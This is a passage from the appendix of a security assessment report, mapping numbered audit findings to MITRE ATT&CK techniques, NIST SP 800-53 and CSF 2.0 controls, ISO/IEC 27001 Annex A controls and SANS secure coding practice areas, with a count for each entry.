Findings are mapped to the ATT&CK techniques an attacker would use to exploit them, or that the weakness enables an attacker to perform (for defensive tooling that can be turned against the defender).

Technique	Findings	Count
T1059 Command and Scripting Interpreter	APP-01, APP-02, APP-07, APP-12, CI-01, PB1-02, PB2-04, PB2-05, PB2-06	9
T1059.004 Command and Scripting Interpreter: Unix Shell	PB2-01, PB2-02	2
T1059.001 Command and Scripting Interpreter: PowerShell	PB2-03, PB2-15	2
T1190 Exploit Public-Facing Application	DEP-04	1

Technique	Findings	Count
T1195 Supply Chain Compromise	DET-16	1
T1195.001 Supply Chain Compromise: Compromise Software Dependencies and Development Tools	DEP-01, DEP-02, DEP-05, DEP-07, DEP-10	5
T1195.002 Supply Chain Compromise: Compromise Software Supply Chain	CI-01, CI-02, DEP-01, DEP-03, DEP-04, DEP-08, DEP-09, SEC-10	8
T1552 Unsecured Credentials	CF-11	1
T1552.001 Unsecured Credentials: Credentials In Files	CI-03, DEP-02, DEP-05, PB2-08, SEC-03, SEC-04, SEC-08	7
T1552.004 Unsecured Credentials: Private Keys	SEC-08	1
T1078 Valid Accounts	PB1-06	1
T1078.004 Valid Accounts: Cloud Accounts	PB1-06, SEC-03, SEC-05	3
T1562 Impair Defenses	PB1-08	1
T1562.001 Impair Defenses: Disable or Modify Tools	APP-03, APP-04, APP-08, DET-02, DET-03, DET-04, DET-05, DET-06, DET-07, PB1-01, PB2-10	11
T1036 Masquerading	DET-04, DET-06	2
T1027 Obfuscated Files or Information	CF-06, CF-08, CF-16, DET-06	4
T1070 Indicator Removal	CF-09, DET-03, DET-04, PB1-02, PB1-07, PB2-02, PB2-04	7
T1565 Data Manipulation	CF-02, CF-10	2
T1565.001 Data Manipulation: Stored Data Manipulation	CF-01, CF-09, DEP-02, PB2-06	4
T1531 Account Access Removal	PB1-03, PB2-09, PB2-10, PB2-12	4
T1489 Service Stop	PB1-01, PB1-03, PB2-09, PB2-10	4
T1498 Network Denial of Service	PB1-03	1
T1499 Endpoint Denial of Service	CF-04, CF-05, CF-07, CF-14, CI-05, PB1-12, PB1-15	7
T1566 Phishing	PB1-10	1
T1204.002 User Execution: Malicious File	DET-16	1
T1114 Email Collection	PB1-07	1
T1203 Exploitation for Client Execution	DEP-04, PB2-01	2
T1557 Adversary-in-the-Middle	CF-03, PB2-11	2
T1087 Account Discovery	PB1-04, SEC-03	2
T1098 Account Manipulation	APP-08	1
T1550 Use Alternate Authentication Material	SEC-04	1
T1105 Ingress Tool Transfer	PB2-03	1
T1574.007 Hijack Execution Flow: Path Interception by PATH Environment Variable	CI-08, DEP-10	2
T1213	PB1-05	1
T1580	SEC-03, SEC-10	2

Technique	Findings	Count
T1589	SEC-05	1
T1590	SEC-10	1

10.4 NIST SP 800-53 Revision 5

Findings are mapped to the NIST SP 800-53 Rev. 5 controls that address them.

Control	Findings	Count
AC-3 Access Enforcement	APP-08, CF-02, CF-09, CF-10, DET-04, PB1-01, PB1-03, PB1-18, PB2-09, PB2-10, PB2-12	11
AC-6 Least Privilege	APP-08, CF-11, CI-13, DEP-02, DEP-05, PB1-01, PB1-03, PB1-05, PB2-01, PB2-02, PB2-04, PB2-06, PB2-12, SEC-03	14
AU-6 Audit Record Review, Analysis, and Reporting	DET-03, DET-04	2
AU-9 Protection of Audit Information	CF-12, CI-03, PB1-16, PB2-08	4
AU-12 Audit Record Generation	DET-03, DET-04	2
CM-2 Baseline Configuration	CI-02, DET-15, DET-18	3
CM-3 Configuration Change Control	APP-14, CI-01, SEC-08	3
CM-5 Access Restrictions for Change	APP-08, PB1-02, PB1-03, PB2-09, PB2-10	5
CM-6 Configuration Settings	APP-04, APP-05, APP-09, APP-12, DET-07, PB2-13	6
CM-7 Least Functionality	CI-08, CI-13, DEP-05, DEP-10	4
CM-8 System Component Inventory	DEP-01, DEP-02, DEP-03, DEP-04, DEP-06, DEP-07, DEP-08, DEP-09, DEP-12	9
IA-5 Authenticator Management	CI-03, PB1-06, PB2-07, PB2-08, SEC-04	5
IA-5(7) Authenticator Management | No Embedded Unencrypted Static Authenticators	DEP-02, PB1-06	2
IR-4 Incident Handling	PB1-03, PB1-07, PB1-18	3
RA-5 Vulnerability Monitoring and Scanning	APP-06, DEP-01, DEP-12, SEC-03	4
SA-11 Developer Testing and Evaluation	APP-03, APP-05, APP-10, APP-13, APP-14, DET-14, SEC-03, SEC-05, SEC-08, SEC-09, SEC-10	11
SA-15 Development Process, Standards, and Tools	APP-14, CI-01, CI-02, SEC-08	4
SA-22 Unsupported System Components	DEP-01, DEP-02, DEP-03, DEP-04, DEP-05, DEP-06, DEP-08, DEP-09, DEP-10, PB2-17	10
SC-5 Denial-of-Service Protection	CF-04, CF-05, CF-07, CI-05, PB1-15	5
SC-7 Boundary Protection	CI-02	1
SC-8 Transmission Confidentiality and Integrity	CF-03, DET-13, PB2-11	3
SC-13 Cryptographic Protection	PB2-07	1

Control	Findings	Count
SC-18 Mobile Code	APP-07	1
SC-28 Protection of Information at Rest	CF-11, CI-03, SEC-03, SEC-04, SEC-05, SEC-10	6
SI-2 Flaw Remediation	CF-17, DEP-01, DEP-02, DEP-04, DEP-08, DEP-12	6
SI-4 System Monitoring	APP-04, DET-02, DET-03, DET-04, DET-06, DET-07, DET-08, PB1-08, PB2-10	9
SI-7 Software, Firmware, and Information Integrity	APP-08, CI-08, DEP-03, DET-16, SEC-08, SEC-10	6
SI-10 Information Input Validation	APP-01, APP-02, APP-07, APP-10, APP-12, APP-13, CF-01, CF-02, CF-04, CF-05, CF-06, CF-07, CF-08, CF-14, CF-15, CF-16, CF-18, CI-01, CI-05, CI-10, CI-15, DET-02, DET-05, DET-12, PB1-01, PB1-02, PB1-04, PB1-05, PB1-07, PB1-08, PB1-09, PB1-10, PB1-11, PB1-15, PB2-01, PB2-02, PB2-03, PB2-04, PB2-05, PB2-06, PB2-14, PB2-15	42
SI-11 Error Handling	CF-12, CF-13, CF-14, CI-09, PB1-12, PB1-13, PB1-14, PB1-16, PB2-16	9
SR-3 Supply Chain Controls and Processes	DEP-01, DEP-02, DEP-05, DEP-06, DEP-07, DEP-09	6
SR-4 Provenance	DEP-01, DEP-02, DEP-03, DEP-05, DEP-06, DEP-07, DEP-10, DEP-12, SEC-10	9
SR-11 Component Authenticity	DEP-03, DET-16	2
AC-4	APP-01, APP-02	2
PT-2	SEC-05	1
SA-9	DEP-07	1
SI-5	APP-06	1

10.5 NIST Cybersecurity Framework 2.0

Findings are mapped to CSF 2.0 function and category.

Category	Findings	Count
GV.SC Govern - Cybersecurity Supply Chain Risk Management	APP-14, DEP-01, DEP-02, DEP-03, DEP-05, DEP-06, DEP-07, DEP-09, DEP-12, SEC-10	10
ID.AM Identify - Asset Management	DEP-04, DEP-06, DEP-08, DEP-09, DEP-12, DET-19	6
ID.RA Identify - Risk Assessment	APP-06, DEP-01, SEC-03	3
ID.IM Identify - Improvement	DET-14	1
PR.AA Protect - Identity Management, Authentication, and Access Control	APP-08, CF-09, CF-10, CI-03, CI-13, DEP-02, PB1-03, PB1-06, PB1-18, PB2-07, PB2-09, PB2-10, PB2-12	13

Category	Findings	Count
PR.DS Protect - Data Security	CF-03, CF-11, CF-12, CI-03, DEP-03, DET-02, PB2-08, PB2-11, SEC-03, SEC-04, SEC-05, SEC-10	12
PR.PS Protect - Platform Security	APP-01, APP-02, APP-03, APP-04, APP-05, APP-06, APP-07, APP-09, APP-10, APP-12, APP-13, APP-14, CF-01, CF-02, CF-04, CF-05, CF-06, CF-07, CF-08, CF-13, CF-14, CF-15, CF-18, CI-01, CI-02, CI-05, CI-08, CI-09, CI-10, CI-15, DEP-01, DEP-02, DEP-04, DEP-05, DEP-08, DEP-10, DET-05, DET-12, DET-16, PB1-01, PB1-02, PB1-03, PB1-04, PB1-05, PB1-07, PB1-10, PB1-11, PB1-12, PB1-13, PB1-14, PB1-15, PB1-16, PB2-01, PB2-02, PB2-03, PB2-04, PB2-05, PB2-06, PB2-13, PB2-14, PB2-15, PB2-16, PB2-17, SEC-08	64
DE.CM Detect - Continuous Monitoring	APP-04, APP-08, CI-01, DET-02, DET-03, DET-04, DET-06, DET-07, DET-08, DET-09, SEC-08	11
DE.AE Detect - Adverse Event Analysis	CF-16, DET-03, DET-04, PB1-08, PB1-09, PB1-16	6
RS.MI Respond - Incident Mitigation	PB1-03, PB2-09, PB2-10	3

10.6 ISO/IEC 27001:2022 Annex A

Findings are mapped to ISO/IEC 27001:2022 Annex A controls.

Annex A control	Findings	Count
A.5.15 Access control	PB1-03, PB1-18	2
A.5.17 Authentication information	DEP-02, PB1-06, SEC-03	3
A.5.21 Managing information security in the ICT supply chain	DEP-01, DEP-02, DEP-03, DEP-04, DEP-05, DEP-06, DEP-07, DEP-09, DEP-10, DEP-12, SEC-10	11
A.8.2 Privileged access rights	APP-08, CI-13, DET-04, PB1-03, PB2-09, PB2-10, PB2-12	7
A.8.3 Information access restriction	APP-08, CF-09, CF-10	3
A.8.6 Capacity management	CF-04	1
A.8.8 Management of technical vulnerabilities	APP-06, DEP-01, DEP-02, DEP-04, DEP-08, DEP-09, DEP-12, PB2-17	8
A.8.9 Configuration management	APP-04, APP-05, APP-08, APP-09, APP-12, DEP-03, DET-07, DET-18, PB2-13	9
A.8.12 Data leakage prevention	CF-11, CI-03, PB2-08, SEC-03, SEC-05, SEC-10	6
A.8.15 Logging	CF-12, CI-03, CI-09, DET-03, DET-04, PB1-16	6
A.8.16 Monitoring activities	DET-03, DET-04, DET-06, DET-07, DET-08, DET-09, PB1-08, PB1-09	8
A.8.19 Installation of software on operational	CI-08, DEP-01, DEP-02, DEP-03, DEP-04, DEP-	10

Annex A control	Findings	Count
systems	05, DEP-06, DEP-08, DEP-10, DET-15	
A.8.24 Use of cryptography	CF-03, DET-13, PB2-07, PB2-11, SEC-03, SEC-04, SEC-05, SEC-09, SEC-10	9
A.8.25 Secure development life cycle	APP-14, CI-02, SEC-08	3
A.8.26 Application security requirements	CI-05	1
A.8.28 Secure coding	APP-01, APP-02, APP-03, APP-07, APP-10, APP-12, APP-13, APP-14, CF-01, CF-02, CF-04, CF-05, CF-06, CF-07, CF-08, CF-13, CF-14, CF-15, CF-16, CF-17, CF-18, CI-01, CI-10, CI-11, CI-15, DEP-05, DET-02, DET-05, DET-12, DET-16, PB1-01, PB1-02, PB1-04, PB1-05, PB1-07, PB1-10, PB1-11, PB1-12, PB1-13, PB1-14, PB1-15, PB1-17, PB2-01, PB2-02, PB2-03, PB2-04, PB2-05, PB2-06, PB2-14, PB2-15, PB2-16, SEC-08	52
A.8.29 Security testing in development and acceptance	DET-14, DET-16, DET-19	3
A.8.31 Separation of development, test and production environments	CI-01, CI-02	2
A.8.32 Change management	SEC-08	1
A.5.22	DEP-07	1
A.5.32	DEP-06, DEP-07	2
A.5.34	SEC-05	1
A.5.7	APP-06	1

10.7 SANS Secure Coding Practices

Each finding is classified against the SANS/CERT Secure Coding Practices checklist area it most directly concerns. Areas with no finding are listed as met or not assessed in Section 9.

Practice area	Findings	Count
Input Validation	APP-10, APP-13, CF-02, CF-05, CF-06, CF-07, CF-08, CF-15, CF-16, CI-01, CI-05, DET-06, DET-16, PB1-01, PB1-02, PB1-04, PB1-05, PB1-07, PB1-11, PB1-15, PB2-01, PB2-02, PB2-03, PB2-05, PB2-06, PB2-15	26
Output Encoding	APP-01, APP-02, APP-07, APP-12, CF-01, CI-10, DET-02, DET-05, DET-12, PB1-10, PB2-14	11
Authentication and Password Management	CI-14, PB1-06	2
Session Management	—	0
Access Control	APP-08, CF-09, CF-10, CI-13, DET-03, DET-04, PB1-03, PB1-18, PB2-09, PB2-10, PB2-12	11
Cryptographic Practices	PB2-07	1

Practice area	Findings	Count
Error Handling and Logging	CF-12, CF-13, CF-14, CI-03, CI-09, PB1-09, PB1-12, PB1-16, PB2-08, PB2-16	10
Data Protection	CF-11, CI-12, SEC-03, SEC-04, SEC-05, SEC-09, SEC-10	7
Communication Security	CF-03, DET-13, PB2-11	3
System Configuration	APP-04, APP-05, APP-06, APP-09, APP-14, CI-02, CI-11, DEP-01, DEP-02, DEP-04, DEP-05, DEP-07, DEP-08, DEP-10, DEP-12, DET-07, DET-15, PB2-13, PB2-17	19
Database Security	—	0
File Management	CF-04, CF-18, DEP-03, PB2-04	4
Memory Management	—	0
General Coding Practices	APP-03, CF-17, CI-08, CI-15, CI-16, DEP-06, DEP-09, DET-08, DET-09, DET-14, DET-18, DET-19, PB1-08, PB1-13, PB1-14, PB1-17, SEC-08	17